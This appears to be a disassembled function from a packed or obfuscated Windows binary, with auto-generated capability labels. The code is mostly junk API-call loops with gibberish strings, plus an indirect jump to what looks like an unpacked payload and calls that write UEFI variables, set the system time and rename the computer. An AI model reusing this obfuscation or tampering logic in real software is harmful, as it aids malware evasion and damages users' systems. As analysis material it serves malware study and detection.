Function at 0x41b7b0
Capabilities:
Get common file path
Get thread local storage value
Manipulate console buffer
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21c0
call fcn.0040e430
mov dword [ebp - 4], 0
jmp 0x41b7cf
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x41b891
cmp dword [0x4b49c4], 0xfc
jne 0x41b846
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov ecx, dword [ebp - 0x880]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
lea edx, [ebp - 0x874]
push edx
push str.jugidabu
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push str.tazajubiradivejef_luvusevefibowitewopis_zehuxuja_cezilezufiri_zigujun
push str.kafakece_nicugewulaz_yilerugegopoyuneyivowabavoj_jitanicenitinusiwimicecehiful_mubofebaterejupivavatagu
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
cmp dword [0x4b49c4], 0x5e4
jne 0x41b881
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [ebp - 0x9a0]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
cmp dword [ebp - 4], 0x9be51dc
jle 0x41b88c
jmp 0x41b891
jmp 0x41b7c6
push 0x425fb0
mov edx, dword [0x4b49c4]
push edx
mov eax, dword [0x4acb08]
push eax
call fcn.0041b690
mov dword [ebp - 0x9a4], 0
jmp 0x41b8c3
mov ecx, dword [ebp - 0x9a4]
add ecx, 1
mov dword [ebp - 0x9a4], ecx
cmp dword [ebp - 0x9a4], 0x3e79e
jge 0x41b908
cmp dword [0x4b49c4], 0x10
jne 0x41b8ed
lea edx, [ebp - 0x9a8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
cmp dword [ebp - 0x9a4], 0x1e673
jne 0x41b906
call fcn.0041b030
jmp 0x41b8b4
mov dword [ebp - 0x9ac], 0
jmp 0x41b923
mov eax, dword [ebp - 0x9ac]
add eax, 1
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 0xdd9a7
jge 0x41b94f
cmp dword [0x4b49c4], 0xc01
jne 0x41b94d
lea ecx, [ebp - 0x9b0]
push ecx
push str.panelik
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
jmp 0x41b914
call dword [0x4acb08]
cmp dword [0x4b49c4], 0x1144
jne 0x41ba14
push 0
push 0
push str.koxutacurapunahamodesozapumomoro
push str.kupadirokuxenovova
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov dword [ebp - 0x19c0], 0
mov edx, dword [ebp - 0x19c0]
push edx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push str.mugobimejocag
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
lea eax, [ebp - 0x19b8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push str.sabetirijujejewuwafezudilayuja
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
lea ecx, [ebp - 0x11b0]
push ecx
push 0
push str.witebekufamakusifaluforowapipaha
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
lea edx, [ebp - 0x11b4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea eax, [ebp - 0x21c0]
push eax
push str.dazipocazalozuguhiyihuvugu
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret